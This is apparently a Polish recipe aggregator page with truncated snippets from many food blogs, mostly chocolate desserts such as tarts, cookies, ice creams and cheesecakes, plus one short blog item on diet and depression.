mąki pszennej typ 450 1 łyżka mąki ziemniaczanej 1 łyżka kakao 1/2 łyżeczki proszku do pieczenia krem czekoladowy: 250 ml śmietany kremówki 30 % 400 g serka mascarpone 200 g czekolady gorzkiej pianka porzeczkowa: 500 g porzeczki czerwonej 200 g cukier biały Polski Cukier 5 białek wielkość M 2 łyżki żelatyny 4 łyżki wody zimnej dekoracja: śmietana kremówka 1 galaretką owoce(...)papierem do pieczenia. Wylewam ciasto i wstawiam do nagrzanego piekarnika temp 160 stopni góra dół na 15 minut. Krem czekoladowy: Śmietanę kremówkę przelewam do garnka, dodaję połamaną czekoladę i na wolnym ogniu zagotowuję. Zdejmuję z ognia i mieszam łyżką aż czekolada się rozpuści. Wstawiam do lodówki na dwie godziny. Serek mascarpone rozcieram mikserem, dodaję masę czekoladową i mieszam aż się

wesoła kuchnia
Tarta z białą czekoladą, ricottą i owocami- bez pieczenia i bez miksera! 177

Pyszna tarta bez pieczenia i bez miksera? Mam na to pomysł. Biała czekolada, ricotta, moc owoców i ciasteczkowy spód! Musisz wypróbować! Składniki: 150 g ciasteczek czekoladowych 30 g masła 250 g ricotty 100 g białej czekolady 250 g owoców letnich - u mnie czereśnie! 2 łyżki galaretki owocowej (u mnie wiśniowa) Ciasteczka rozbić tłuczkiem na piasek, dodać roztopione masło, wymieszać. Wyłożyć(...)dobrze ugnieść palcami. Owoce wypestkować, zagotować w garnuszku aż wypuszczą sok. Dodać galaretkę, dobrze wymieszać, wystudzić. Gdy zacznie tężeć, wyłożyć na spód ciasteczkowy, schłodzić w lodówce. Białą czekoladę rozpuścić w kąpieli wodnej lub mikrofali, jak lekko przestygnie wymieszać z ricottą. Nałożyć na schłodzoną galaretkę. Całość udekorować owocami

coolinarny
Pieguski (wegańskie) 165

Składniki: 125 g oleju kokosowego* 250 g mąki pszennej 1 łyżeczka proszku do pieczenia 1/2 łyżeczki sody oczyszczonej 200 g cukru trzcinowego 60 g mleka sojowego* 70 g gorzkiej czekolady* 1 łyżka nasion kakaowca (opcjonalnie) *Psst! Jeśli nie chcecie żeby ciasteczka były wegańskie, zamieńcie olej kokosowy na masło, mleko sojowe na zwykłe i jeśli chcecie, możecie również użyć mlecznej czekolady(...)gładka. Następnie dodajemy mleko i mieszamy do dokładnego połączenia składników. Do masy wsypujemy mąkę wraz proszkiem do pieczenia i sodą oczyszczoną. Dodajemy ziarna kakaowca i pokrojoną na kawałki gorzką czekoladę, które delikatnie łączymy z ciastem. Z ciasta formujemy kulki wielkości dużego orzecha włoskiego. Kulki układamy na papierze do pieczenia, lekko je spłaszczając. Ciasto rozrośnie się podczas pieczenia, więc warto pozostawić

Emcia Pichci
Kostka kremowo-makowa z polewą malinową 161

boków blachy).Pieczemy 30-40 min. w 180 º C lub do suchego patyczka. Krem z ricottą 250 g serka ricotta 400 ml śmietanki 30-36% 100 g białej czekolady 50 g cukru pudru DIAMANT 15 g żelatyny 50 ml wody Mocno schłodzoną śmietankę ubijamy . Żelatynę zalewamy zimną, przegotowaną wodą i pozostawiamy do napęcznienia. W mikrofalówce lub w kąpieli(...)wodnej rozpuszczamy czekoladę, co kilkanaście sekund mieszamy i sprawdzamy jej konsystencję. Serek ricotta o temperaturze pokojowej miksujemy z cukrem pudrem. Następnie dodajemy stopniowo czekoladę(przestudzoną) oraz rozpuszczoną w mikrofalówce bądź w kąpieli wodnej żelatynę. Ubitą śmietankę delikatnie łączymy z serkiem.  Polewa malinowa 200 g malin 50 g cukru pudru DIAMANT 15 g mąki ziemniaczanej 100 ml wody Maliny oraz

Anielskie wypieki
Zdrowa Nutella z awokado, daktyli i kakao 275

marzył kiedyś o tym, aby móc bezkarnie objadać się czekoladą albo nutellą Niestety, raz, że niezdrowe, dwa – to sam cukier i tłuszcze. A gdyby tak zamienić cukier na suszone daktyle, a niezdrowe tłuszcze na bardzo zdrowe awokado? Tak, mamy wtedy o wiele zdrowszą, wręcz fit wersję nutelli czy innej czekolady ze słoiczka. Brzmi nietypowo, ale uwierzcie, że smakuje(...)samo dobrze jak oryginał – a najlepiej sprawdźcie sami Czekolada z daktyli i awokado jest słodka i zachowuje swój kakaowy smak, konsystencją również nie odbiega od wersji ze słoiczka. Potrzebujemy tylko 3 składników: awokado, suszonych daktyli i kakao. Składniki: 1 dojrzałe awokado, najlepiej odmiana hass 100 g suszonych daktyli 3 czubate łyżeczki kakao Przygotowanie: Daktyle wkładamy do miski i dodajemy

Taste and Cook
Lody jagodowo czekoladowe 163

sezon w pełni jagody,jagódki no kto ich nie lubi :) Zrobiłam lody jagodowe czekoladowe, pycha.   Składniki na około 2 L lodów: 150 g cukru brzozowego czekolada mleczna 200 g 500 ml zimnego mleka 3,2% 500 g jagód 600 ml śmietany  30% Wykonanie: Do misy wlewamy schłodzoną śmietanę i miksujemy ją na sztywno(...)czekoladę rozpuszczamy w kąpieli wodnej i ostudzoną dodajemy do śmietany. Mieszamy łopatką delikatnie do uzyskania kolorku. Do blendera kielichowego wsypujemy świeże jagody,cukier oraz zimne mleko.Miksujemy jakieś z 5 minut aby efekt końcowy był zadowalający. Zmiksowane jagody dodajemy do śmietany z czekoladą i delikatnie mieszamy łopatką. Przygotowana masę przekładamy do podłużnego pojemnika  o pojemności 2 litry. Wkładamy do zamrażalki

Różowa kuchnia
Chia pudding truskawkowy 122

mleko lub jogurt. Pamiętajcie, że do chia puddingu możecie dodać także ulubione owoce, kakao nibs,nasiona konopii… Wszystko zależy od tego, co lubicie! Ja dzisiaj miałam ochotę na czekoladę, więc posypałam nią pudding. Chia pudding Składniki: na 2 porcje 250 ml naturalnego jogurtu 2 łyżki nasion chia 150 g truskawek cukier lub miód do posłodzenia garść borówki amerykańskiej(...)łyżce kakao nibs i nasion konopii 4 tabliczki białej czekolady Wymieszaj chia z jogurtem i odstaw na pół godziny. Nasiona napęcznieją przez co pudding zgęstnieje. Zmiksuj truskawki z cukrem lub miodem. Dodaj połowę puddingu i wymieszaj. Napełnij szklanki truskawkowym puddingiem i jogurtowym puddingiem. Posyp borówkami, kakao nibs, łuskanymi nasionami konopii i pokruszoną czekoladą. Dodałam również kilka listków mięty. Spara Spara

codojedzenia
CZEKOLADOWE CIASTECZKA 134

ądem przypominają popękane okrągłe pierniczki.Z podanych składników wychodzi ok.36 ciasteczek.Serdecznie polecam!! Przepraszam za jakość zdjęcia ale miałam opuszczone zielone rolety i tak jakoś wyszło zielono :) :).  SKŁADNIKI 100g mlecznej czekolady 120g masła 2 łyżki kakao łyżeczka proszku do pieczenia 2 jajka 1 i 1/2 szklanki mąki pszennej 3 łyżki cukier puder do obtoczenia kuleczek WYKONANIE Masło i czekoladę rozpuszczamy(...)kąpieli wodnej czyli wkładamy do metalowej miseczki masło i czekoladę ,w osobnej miseczce lub rondelku zagotowujemy wodę,na rondelek nakładamy naszą metalową miseczkę i czekamy aż wszystko ładnie się rozpuści.Studzimy. Jajka z cukrem ubijamy na puszystą masę i dodajemy do masy czekoladowej.Następnie dodajemy przesianą mąkę z proszkiem do pieczenia oraz kakao.Mieszamy do połączenia się składników.Miskę przykrywamy folią

Mała w garnku miesza
Pyszne kruche ciasteczka z orzechami i czekoladą 225

Pyszne, szybkie i kruche ciasteczka z dodatkiem kropelek czekolady, może być gorzka, posiekana i orzechów. Są bardzo proste w przygotowaniu, a smakują super :-). Polecam i miłego dnia wszystkim życzę :-) Składniki na około 20 ciasteczek: 220 g margaryny Optima Omega 3 100 g posiekanych orzechów opakowanie kropelek czekoladowych lub posiekana gorzka/mleczna czekolada 1 szklanka cukru pudru szczypta soli(...)jajka L 1. Margarynę ucieramy z cukrem pudrem na gładką masę, dodajemy sól i jajka. Miksujemy, następnie dodajemy mąkę przesianą z proszkiem do pieczenia, miksujemy. Na koniec dodajemy czekoladę i orzechy, mieszamy. 2. Piekarnik nagrzewamy do 180 stopni, blaszkę wykładamy papierem do pieczenia. Łyżką nabieramy porcję ciasta, w rękach forujemy kulkę i układamy na blaszce, tak robimy do wyczerpania się

kruche babeczki
Lody bananowo- czekoladowe 167

szybkich lodów to chyba jeszcze nie robiłam :) Upały nas nie opuszczają, więc może się skusicie :) Składniki: - 2 banany - 50 g czekolady gorzkiej - kilka kropli soku z cytryny Przygotowanie: Czekoladę bardzo drobno siekamy. Do blendera wrzucamy obrane banany i kilka kropli soku z cytryny. Miksujemy, dodajemy pokrojoną czekoladę i jeszcze chwilkę miksujemy. Przygotowaną masę przekładamy do foremek na lody

Zainspirowana w kuchni
Czekoladowa pascha wielkanocna – przepis 150

Wesołych Świąt! Czekoladowa pascha wielkanocna – składniki: 1/2 kg sera śmietankowego trzykrotnie mielonego 25 dkg masła 4 żółtka ugotowane na twardo 3/4 szklanki cukru pudru 1 tabliczka gorzkiej czekolady migdały – posiekane lub płatki orzechy włoskie lub laskowe kandyzowana skórka pomarańczowa 1 łyżeczka ekstraktu waniliowego jałowa gaza opatrunkowa – 1 opakowanie, rozmiar 1 metr na 1 metr Owoce(...)dekoracji Cieszę się, że czytasz mój blog. Nie przegap żadnego wpisu – obserwuj PATCHWORK w serwisie Facebook – Instagram – Google+ – Bloglovin’ Czekoladowa pascha wielkanocna – wykonanie Czekoladę z masłem rozpuścić w kąpieli wodnej i przestudzić. Żółtka dokładnie rozgnieść widelcem i przetrzeć przez sito. W misie miksera wymieszać ser, czekoladę z masłem, żółtka, cukier

Patchwork
bezglutenowe ciastka z masłem orzechowym 157

Wiem, dzisiaj wtorek, a słodkie miało być wczoraj Bardzo zajęty weekend, ale już jesteśmy i działamy ! Wracając do słodkiego, wcześniej pisałem, że będzie dziś czekolada, ale to bardziej ciastka w formie przypominającej małe kostki czekolady. Świetne, aby zagryzać coś pysznego, czytając dobrą książkę i popijając kawę, takie naprawdę leniwe, letnie popołudnie. A tak z ciekawości, możecie polecić jakąś lekturę, którą(...)migdałowym, a w ostateczności zwykłym masłem z orzechów. Tylko pamiętajcie, że orzeszki ziemne nie są paleo. Tutaj przyozdobione orzechem włoskim, ale tak naprawdę tam może znaleźć się wszystko. Gorzka czekolada, maliny, poziomki, orzechy, boczek co lubicie, albo co akurat macie pod ręką. Składniki (u mnie na małą silikonową formę): ¾ szklanki wiórków kokosowych, ½ szklanki masła z orzechów nerkowca, ½ szklanki oleju kokosowego

PaleoLife
Czekoladowe babeczki z wiśniami 144

Wiśnie i czekolada tworzą zgrany duet. Dziś zapraszam na ich połączenie w muffinkowej odsłonie. Skoro muffinki to na pewno praca pójdzie nam szybko i łatwo:). Można użyć mrożonych wiśni. 2 szklanki mąki 1/4 szklanki kakao 1 czubata łyżeczka sody oczyszczonej 1 płaska łyżeczka proszku do pieczenia 2/3 szklanki cukru 1 opakowanie cukru waniliowego 125g masła 1/2 szklanki jogurtu, u mnie(...)grecki 2 jajka L 100g gorzkiej czekolady 1 szklanka wiśni bez pestek (jeśli mrożone, wtedy 1,5 szklanki) 1. W jednej misce mieszamy ze sobą mąkę, kakao, sodę, proszek do pieczenia, cukier i cukier waniliowy. W drugiej misce mieszamy rozpuszczone i przestudzone masło, jogurt i jajka.  2. Składniki mokre przelewamy do składników suchych, mieszamy krótko, tylko do połączenia składników

Szefowa kuchni
22. Cydrowe babeczki czekoladowo - owocowe bez tłuszczu 163

babeczki z tego przepisu są mięsiste i idealnie wilgotne, a zawartość tłuszczu w porównaniu do innych wypieków jest znikoma. Dodatek cydru nadaje im charakterystyczny słodkawo - wytrawny smak, który przełamuje czekolada oraz wieloowocowy dżem. Przepis idealny na letniego grilla lub piknik!    Przepis zainspirowany książką Kuchnia wegańska. Składniki na polewę: 200g dżemu z owoców leśnych 40g kakao w proszku Wykonanie(...)babeczek: 400ml cydru - około półtora małej butelki 120g suszonych moreli szczypta soli 1 łyżeczka aromatu waniliowego 190g cukru trzcinowego 80g kakao w proszku 2 łyżeczki octu jabłkowego tabliczka gorzkiej czekolady 200g pełnoziarnistej mąki 100g mąki owsianej 2 łyżeczki sody lub proszku do pieczenia Wykonanie: 1. Doprowadzić cydr do wrzenia i zagotować w nim przez około 10 minut suszone morele

Pland based fille
Piknikowe ciasto gryczane 186

40/11 cm 2 torebki kaszy gryczanej 5 dużych jaj 12 dag mąki jasnej orkiszowej 20 dag cukru brązowego trzcinowego 15 dag margaryny  Optima Omega 3 100 g gorzkiej czekolady o zawartości 74% kakao 50 g orzechów włoskich 2 suszone figi 1 laska wanilii 2 łyżeczki proszku do pieczenia Sposób przygotowania: Kaszę gryczaną ugotować pod przykryciem na małym ogniu(...)wody, wystudzić, zmielić w malakserze lub przepuścić przez maszynkę do mięsa. Margarynę Optima, przełożyć do rondelka rozpuścić na gazie, zestawić z ognia do ciepłej dodać połamaną na kawałki gorzką czekoladę, po upływie kilku chwil wymieszać na jednolitą masę. Jajka wbić do misy miksera, wsypać cukier brązowy, oraz dodać ziarenka z wydrążonej wanilii, zmiksować na prawie biały puch. Dodać zmieloną kaszę

Wanilia i Kardamon
Dietetyczne ciasto jogurtowe z truskawkami i gorzką czekoladą | bez glutenu, bez cukru | 455

mojego dzieciństwa oraz źródło minerałów i witamin.  Warto jednak zjeść również ciasto z truskawkami.  Delikatne, puszyste, bez cukru i glutenu. Najlepsze jakie jadłam!  Do tego kawałki czekolady... mniam!  Macie ochotę na sobotnie pieczenie? To trafiliście idealnie! Chwila roboty i pyszne ciasto do kawy lub wody z miętą gotowe.  Na Instagramie "czarnagodzina" znajdziecie opinie i zdjęcia(...)jajko  200g jogurtu naturalnego  3 łyżki ksylitolu lub cukru trzcinowego  1 łyżeczka proszku do pieczenia  Garść umytych i posiekanych truskawek  2-3 kostki gorzkiej czekolady lub surowe kakao  Przygotowanie:  Wszystkie składniki mieszamy, przekładamy do formy, posypujemy truskawkami i pokrojoną gorzką czekoladą. Pieczemy 40min w 180 stopniach. Ja użyłam silikonowej keksówki 27x14, jednak

Czarnawisienka
PIECZONA KASZA MANNA Z MASŁEM ORZECHOWYM 198

najwięcej ze wszystkich kasz). U mnie dziś kasza manna trochę w innej wersji...zapiekana w piekarniku. Taka jest najlepsza! A z chrupiącym masłem orzechowym, orzeszkami ziemnymi oraz gorzką czekoladą to już prawdziwy rarytas. Można ją podać na deser lub śniadanie. Najlepiej smakuje na ciepło. P.S. Do przygotowania pieczonej kaszy manny polecam masło orzechowe firmowe 100% crunchy Primavika - jest to wysokiej(...)palmowego (tu: recenzja ). Składniki: 2 szklanki mleka 1/2 szklanki kaszy manny 1 łyżka cukru 3-4 łyżki masła orzechowego crunchy Primavika 2 jajka garść orzechów ziemnych niesolonych 2 kostki czekolady gorzkiej Wykonanie: Mleko wlewamy do garnka, dodajemy cukier i zagotowujemy. Następnie powoli wsypujemy kaszę mannę, cały czas mieszając, aby nie porobiły się grudki. Gotujemy aż całość zgęstnieje. Zestawiamy z ognia

Kuchnia MagdaLeny
Kruche ciasteczka maślane z cytryną, miętą i czekoladą czyli Czwartkowe Słodkości odc. 173

smakołyki dlatego też wieczorową porą dnia wczorajszego upiekłam cudowne ciasteczka.  Łączą w sobie zapach i smak skórki cytrynowej i mięty oraz masła.  Od siebie dodałam drobiny gorzkiej czekolady tak bardzo smakujące mi w połączeniu z cytryną. Przepis podpatrzyłam w najnowszym 07/2017 numerze magazynu KUCHNIA.  Skuście się proszę! naprawdę warto! Kruche ciasteczka maślane z cytryną, miętą(...)czekoladą 130 g masła 130 g cukru 280 g mąki po 1/4 łyżeczki soli i proszku do pieczenia skórka otarta z 1-2 cytryn garść drobniutko posiekanych listków mięty garść posiekanej bardzo gorzkiej czekolady 1 jajko Do miski wrzucamy wszystkie składniki ciastek oprócz jajka. Siekamy nożem lub po prostu miksujemy tak by powstały okruszki. Dodajemy jajko i całość zagniatamy

Dzieje kuchennej Wiewióry
Deser mascarpone z owocami 168

owoce można dobrać według własnego gustu. Spód 135 g pokruszonych ciasteczek oreo  Krem mascarpone 500 g serka mascarpone 200 ml śmietanki 30% lub 36% 200 g białej czekolady Czekolady rozpuścić w 5 łyżkach śmietanki.Odstawić do przestygnięcia.Serek mascarpone wraz ze śmietanką ubić na puszystą masę i dodać czekoladę. Wierzch 400 ml śmietanki 30% 2 łyżki cukru pudru Dobrze

Anielskie wypieki
Rafaello 176

blogu. Dzisiaj mam dla Was przepis w wersji   tortowej. Przepis właściwie powstawał w trakcie robienia mojego „Rafaello” (tortownica średn. 26 cm) Składniki: 2 galaretki cytrynowe 200 g białej czekolady połamanej na cząstki 300 g wiórków kokosowych 600 ml śmietany kremówki (30%) biszkopty podłużne Wykonanie: Do   rondelka wlałam 500 ml wrzącej wody, wsypałam galaretkę i dokładnie wymieszałam, żeby się(...)rozpuściła. Do gorącej galaretki wsypałam kosteczki czekolady. Mieszałam tak długo, aż się czekolada roztopiła i pięknie połączyła z galaretką tworząc aksamitny krem. Odstawiłam do wystudzenia. Przygotowałam spód ciasta. Biszkopty zmieliłam w blederze, dodałam stopione ciepłe masło i dokładnie wymieszałam. Tą mieszanką wylepiłam spód tortownicy (średn. 26 cm) i wstawiłam do lodówki na 30 min. W tym czasie zrobiłam masę

Kuchnia u Krysi
Tort bezowy z owocami i kremem z białej czekolady i mięty 145

Jestem wielbicielką białej czekolady i bezów. Takim cudem zaskoczyłam swoich urodzinowych gości. W połączeniu z sezonowymi owocami powstaje pyszny torcik. Upieczenie blatów bezowych za każdym razem jest dla mnie wyzwaniem. Beza (na 2 blaty): 7 białek Szczypta soli 330 g drobnego cukru 1 łyżeczka octu 10% 1,5 łyżeczki mąki ziemniaczanej Krem: 500 ml śmietany 36% 250 g serka mascarpone(...)białej czekolady 2 fixy do śmietany Garść listków mięty Dodatkowo: 125 g borówek 500 g truskawek Mięta do dekoracji Beza: Do misy miksera przelewamy białka. Ubijamy na sztywno ze szczyptą soli. Stopniowo - łyżka po łyżce dosypujemy cukier. Ubijamy do momentu, aż piana będzie sztywna i lśniąca.  Mikser zmniejszamy do najmniejszych obrotów. Wlewamy ocet oraz dosypujemy mąkę ziemniaczaną. Miksujemy

VioletoweKucharzenie
Sernik jogurtowy i truskawek 113

piekarnik do 170 C i piec godzinę. Następnie wyłączyć piekarnik i zostawić ciasto na kolejne 15 minut. Otworzyć piekarnik i zostawić w nim ciasto aż piekarnik ostygnie. Wykonanie polewy – czekoladę i z odrobiną śmietany roztopić na garnuszku z parującą wodą. Wymieszać i zdjąć z pary jak już czekolada się całkowicie rozpuści. Polać czekoladą zimny sernik. Na górę rozłożyć truskawki, lekko

Kuchnia Pokoleń
Szybkie śniadanie : Czekoladowe świderki z ricottą i truskawkami 159

Dzieci uwielbiają makaron tak samo jak zazwyczaj również kochają czekoladę i wszystko co z nią związane. Lubella znalazła kompromis i właśnie od niedawna na sklepowych półkach możemy znaleźć mini makaron świderki z czekoladą. Ja kiedy go zobaczyłam od razu i bez chwili wahania kupiłam. Moja mała córeczka ogromnie się ucieszyła i od razu zaanonsowała, że dzisiaj chce go zjeść. Więc(...)skórka cytrynowa i sycące śniadanie gotowe. Macie 10 minut ???? , bo tyle zajęło mi przygotowanie dania. Polecam gorąco. Składniki : NA 4 porcje  400 g makaronu Lubella mini świderki z czekoladą  250 g świeżych truskawek  200 g serka ricotta  2 łyżki miodu  szczypta cynamonu  skórka starta z połowy cytryny  kilka listków świeżej mięty  garść

vaniliowoczekoladowa
Warsztaty Kulinarne z Fit&Easy i Sebastianem Olmą 161

papier aby pozbyć się nadmiaru tłuszczu i lekko posól. W głębokim naczyniu ułóż porcję ryżu, dodaj marynowane kurki i całość przykryj listkami jarmużu. 6. Panna cotta z białą czekoladą i galaretką na bazie Green koktajl Fit&Easy Składniki na 4 porcje : Śmietana 36 % x 0,4 l Żelatyna x 10 g Biała czekolada x 80 g Laska wanilii(...)Green koktajl Fit & Easy x 1 opakowanie Sok z cytryny Syrop cukrowy Agar 5 g Sposób wykonania : Śmietanę zagotuj z namoczoną wcześniej żelatyną, białą czekoladą i laską wanilii. Gdy żelatyna się dokładnie rozpuści wyjmij laskę wanilii, przelej płyn do małych naczyń i odstaw do lodówki. Green koktajl blanszuj w wodzie, przełóż szybko do wody z lodem aby zatrzymać proces

SMYKWKUCHNI
Sernik z jogurtów greckich 857

piec godzinę. Następnie wyłączyć piekarnik i zostawić ciasto na kolejne 15 minut. Otworzyć piekarnik i zostawić w nim ciasto aż piekarnik ostygnie. Wykonanie polewy – czekoladę i z odrobiną śmietany roztopić na garnuszku z parującą wodą. Wymieszać i zdjąć z pary jak już czekolada się całkowicie rozpuści. Polać czekoladą zimny sernik

Kuchnia Pokoleń
Ptysie z lodami waniliowymi i truskawkami 166

Pyszny i niebanalny deser na wyjątkowe okazje. Zaspokoi podniebienia najwybredniejszych smakoszy. Polecam z całego serca. My od razu je pokochaliśmy. Waniliowe lody w połączeniu ze świeżymi truskawkami, polane czekoladą to deser doskonały :) Jeśli nie wykorzystacie wszystkich ptysiów z lodami, można je przechować w szczelnym pojemniku a następnie podać z bitą śmietaną. Ptysie: szkl wody 100 g masła szczypta soli(...)mąki 5 jajek    lody waniliowe 1/2 tabliczki czekolady mlecznej 2 łyżki uprażonych płatków migdałów kilka dużych truskawek Ciasto na ptysie: W garnku zagotować wodę z masłem i szczyptą soli. Na gotującą się wodę wsypać mąkę, zmniejszyć płomień i bardzo energicznie mieszać aż utworzy się gęsta kula, odchodząca od ścianek garnka. Ciasto przestudzić. Cały czas miksując wbijać po jednym

Smakołyki Asi
Dieta a depresja. 10 składników żywieniowych, które mogą wspomóc walkę z depresją. 132

wymaga intensywnego leczenia. Dobowe spożycie kawy nie powinno przekraczać 400ml kofeiny co równa się 4 filiżanką espresso. Pamiętajmy jednak, że kofeinę znajdziemy również z herbacie, napojach energetyzujących, coca coli, czekoladzie. Można stwierdzić, że małe dawki kofeiny mogą poprawić nastrój i samopoczucie, zbyt duże mogą być szkodliwe. Kwas foliowy Niedobór kwasu foliowego może nasilać zaburzenia psychiczne takie jak depresja, zaburzenia pamięci(...)mała wpływa niekorzystnie na nasz organizm. Kiedy cukier spada gwałtownie, mózg nie otrzymuje odpowiedniej ilości paliwa. Optymalny poziom cukru jest niezbędny do produkcji neuroprzekaźników w tym serotoniny. Gorzka czekolada. Jeżeli słodycze poprawiają nastrój to najbezpieczniejsza jest gorzka czekolada. Zawiera nie tylko spore ilości magnezu ale również żelaza, cynku, selenu oraz kwasu foliowego. Może ziołolecznictwo? Stosowanie ziołolecznictwa wraz z odpowiednią dietą

wysmienity
ciepłe lody z kolorowa posypką 210

wafelków do lodów (najlepiej tych z płaską nóżką) 3 duże białka (lub 4 mniejsze) 1 i 3/4 szklanki cukru 1/4 szklanki wody łyżka soku z cytryny 2 tabliczki czekolady deserowej 4-5 łyżek śmietanki kremówki kolorowa posypka   Do dużej metalowej miski wsypać cukier, wlać wodę i wbić białka.  Ustawić miskę nad garnkiem z gotująca się powoli wodą (wody(...)przywierała do boków miski i będzie się robiła twarda, to znaczy, że temperatura ubijania jest za wysoka. Trzeba zmniejszyć płomień pod garnkiem z woda lub odlać trochę wody.  Czekoladę połamać, zalać kremówką i rozpuścić nad parą. Ciepłe lody polewać lub zamaczać w czekoladzie i od razy dekorować posypką cukrową

Domowa Cukierenka-Domowa Kuchnia
Mufinki czekoladowe 132

szkl. mąki 2 łyżeczki proszku do pieczenia 0,5 łyżeczki sody 3/4  szkl. cukru pudru 2 łyżki kakao 1 szkl. mleka 1 jajko 2/3szkl.oleju  1 jajko 1 czekolada Czekoladę pokroić lub zetrzeć na tarce.Składniki suche wymieszać w 1 misce, a mokre w 2, a następnie połączyć.Dodać także czekoladę.Wymieszać.Nalewać do  3/4 pojemności  papilotek.Piec

Moje domowe kucharzenie
Ślimaczki z truskawkami i czekoladą 132

Ślimaczki z truskawkami i czekoladą Zaczyna się sezon na truskawki. Polskie zbiory zaczynają zalewać targowiska i markety. Wstydem byłoby nie skorzystać z tych sezonowych i pysznych owoców. Dzisiaj postawiłem na coś, czego nie robiłem od dawna… domowy, słodki wypiek. Ślimaczki z truskawkami to moje pierwsze drożdżówki w tym roku, ale za to z najulubieńszymi składnikami. Zresztą, kto nie lubi(...)truskawek i czekolady? Ślimaczki świetnie sprawdzą się na letnie wycieczki w góry, do torby, którą zabieracie do pracy, jak i… do pożerania bez opamiętania w zaciszu własnego mieszkania, w którym nikt nie widzi jak Wam ślinka cieknie na samą myśl o nich. Artykuł Ślimaczki z truskawkami i czekoladą pochodzi z serwisu Blendman.pl - kuchnia roślinna

Blendman
Brownie inaczej 156

25x11cm): Ciasto: 1 puszka czerwonej fasoli 2 jajka 1 banan 1,5 łyżki kakao 3/4 szklanki cukru 1,5 łyżeczki sody 1,5 łyżki oleju Polewa: 1/2 tabliczka mlecznej czekolady (możecie dać gorzką, jeśli taką wolicie) 6 łyżek mleka Przygotowanie: Na początku dość dokładnie płuczemy czerwoną fasolę na sitku. Następnie przerzucamy do miski, gdzie dodajemy jajka, olej, banana, kakao, sodą(...)zmiksowane składniki przelewamy do formy wyłożonej papierem i wkładamy do nagrzanego piekarnika do 180 stopni Celsjusza i pieczemy ok. 60 minut do tzw. suchego patyczka. W kąpieli wodnej rozpuszczamy czekoladę i łączymy z mlekiem. Tak przygotowaną polewę polewamy na ostudzone ciasto. Odstawiamy na kilka godzin do zastygnięcia czekolady. Smacznego

Gotuj z Mąką
Mini serniczki w szklance, podane z owocami i tartą czekoladą 116

dużej formie, a potem kroić jak tradycyjny sernik. Można także przygotować w pucharkach lub szklaneczkach. Jak kto woli. Dzisiaj mam dla Was mini serniczki z owocami i startą czekoladą. Przygotowałam je w szklaneczkach, aby już nie bawić się z krojeniem. Wy - oczywiście - możecie zrobić większą porcję w dużej formie. Pamiętajcie jednak wtedy, aby najlepiej była to forma szklana lub plastikowa(...)wtedy trzeba uważać podczas krojenia, aby nie przeciąć papieru. Składniki na 4 porcje: 500 g śmietankowego twarożku 3 łyżki miodu ½ laski wanilii 3 łyżeczki żelatyny  8 kostek ulubionej czekolady dowolne owoce – ja użyłam wiśni w syropie Żelatynę rozpuścić według instrukcji na opakowaniu. Wanilię przekroić wzdłuż i końcówką noża lub łyżeczką wyskrobać ziarenka. Twarożek zmiksować razem z miodem i ziarenkami

Codzienna kuchnia niecodzienna
Kulki kokosowo-migdałowe 114

sztuk): Kulki: 3 łyżki (30 g) płatków migdałowych 0,5 łyżeczki (5 g) masła 60 ml śmietanki 30% 3 łyżki (20 g) wiórków kokosowych 1 tabliczka (100 g) czekolady mlecznej 1 łyżka (25 g) miodu 0,5 wafla Dodatkowo: wiórki kokosowe do obtoczenia Przygotowanie: 1) Płatki migdałowe zmiksować w blenderze. 2) Do rondelka wlać śmietankę i wrzucić połamaną czekoladę. Podgrzewać(...)małym ogniu, cały czas mieszając. 3) Kiedy czekolada się rozpuści i masa zgęstnieje dodać masło. 4) Zdjąć z ognia i dodać migdały, wiórki kokosowe, miód oraz pokruszony wafelek. Wszystkie składniki dokładnie wymieszać. 5) Odłożyć do lodówki na 45 minut, aż masa stężeje. 6) Z gotowej masy formujemy niewielkie kulki i obtaczamy w wiórkach kokosowych. 7) Gotowe kulki przechowywać w lodówce

Fitsweet.me
Ekspresowy deser kremowo-bananowy 1041

szklanki (370 ml) mleka 1 duży kubek (330 g) śmietanki kremówki 30% 12 sztuk (80 g) biszkoptów kakaowych „kocie języczki” 0,3 tabliczki (30 g) gorzkiej czekolady 2 banany 2 łyżki kawy rozpuszczalnej 0,5 szklanki (125 ml) gorącej wody Przygotowanie: 1) Budyń ugotować wg przepisu na opakowaniu, ale w połowie podanej ilości mleka, a następnie odstawić(...)płytkiego naczynia. 5) Biszkopty namaczać w kawie i układać po dwa na dnie każdej szklanki lub pucharka. 6) Na biszkopty nałożyć warstwę kremu, kilka plasterków banana i posypać startą czekoladą. 7) Deser przełożyć kolejną warstwą 2 namoczonych w kawie biszkoptów, kremem, zakończyć kilkoma plasterkami banana i ponownie posypać startą czekoladą. 8) Przygotowany deser przed podaniem schłodzić w lodówce przez kilka

Fitsweet.me
Domowe lody jogurtowe bez maszyny 136

śmietany kremówki 36%, 50 ml mleka kokosowego 400 g jogurtu typu grackiego 4- 5 łyżek łyżki cukru pudru (lub więcej do smaku) pół łyżeczki cukru waniliowego 60 g twardej czekolady lub ulubione bakalie do dekoracji: wiórki kokosowe surowe lub uprażone z cukrem, posypka czekoladowa, drobno posiekane orzechy itp.   Ps. Mleko kokosowe i jogurt można zastąpić słodzonym mlekiem skondensowanym(...)Śmietanę kremówkę ubić z cukrem pudrem i cukrem waniliowym. Gdy śmietana mocno zgęstnieje połączyć ją delikatnie z wcześnie przygotowaną mieszanką mleka kokosowego i jogurtu, dodać posiekaną na drobne kawałeczki czekoladę i delikatnie wymieszać. Napełnić foremki do lodów uważając, aby nie pozostawiać wolnych przestrzeni odstawić na minimum 4 godziny, a jeszcze lepiej na całą noc do lodówki. Po wyjęciu z lodówki

Kulinaria - potrawy z różnych stron świata
Babeczki z masłem orzechowym i czekoladą (bez glutenu, laktozy) 130

kochających masło orzechowe dla lubiących zdrowe słodkości Składniki: łyżeczka sody oczyszczonej banan jajko łyżeczka ekstraktu waniliowego 8 łyżek masła orzechowego 2 łyżki miodu pół szklanki kropelek czekoladowych lub czekolady pokrojonej na małe kosteczki (mlecznych lub gorzkich) Wykonanie tradycyjne: Wszystkie składniki (poza czekoladą) włożyć do misy blendera. Miksować ok. 20-30 sekund, aż składniki się porządnie połączą. Do masy wmieszać czekoladowe(...)standardowej formie na muffinki piekłabym ok. 20 minut (sprawdzać patyczkiem, czy nie są surowe)! Z przepisu otrzymałam 20 sztuk mini babeczek.  Wykonanie w Thermomixie: Wszystkie składniki (poza czekoladą) włożyć do naczynia miksującego. Miksować 20s obr. 9, aż składniki się porządnie połączą. Do masy wmieszać czekoladowe kropelki. Nałożyć masę do foremek na babeczki do 3/4 wysokości otworu. Można z góry

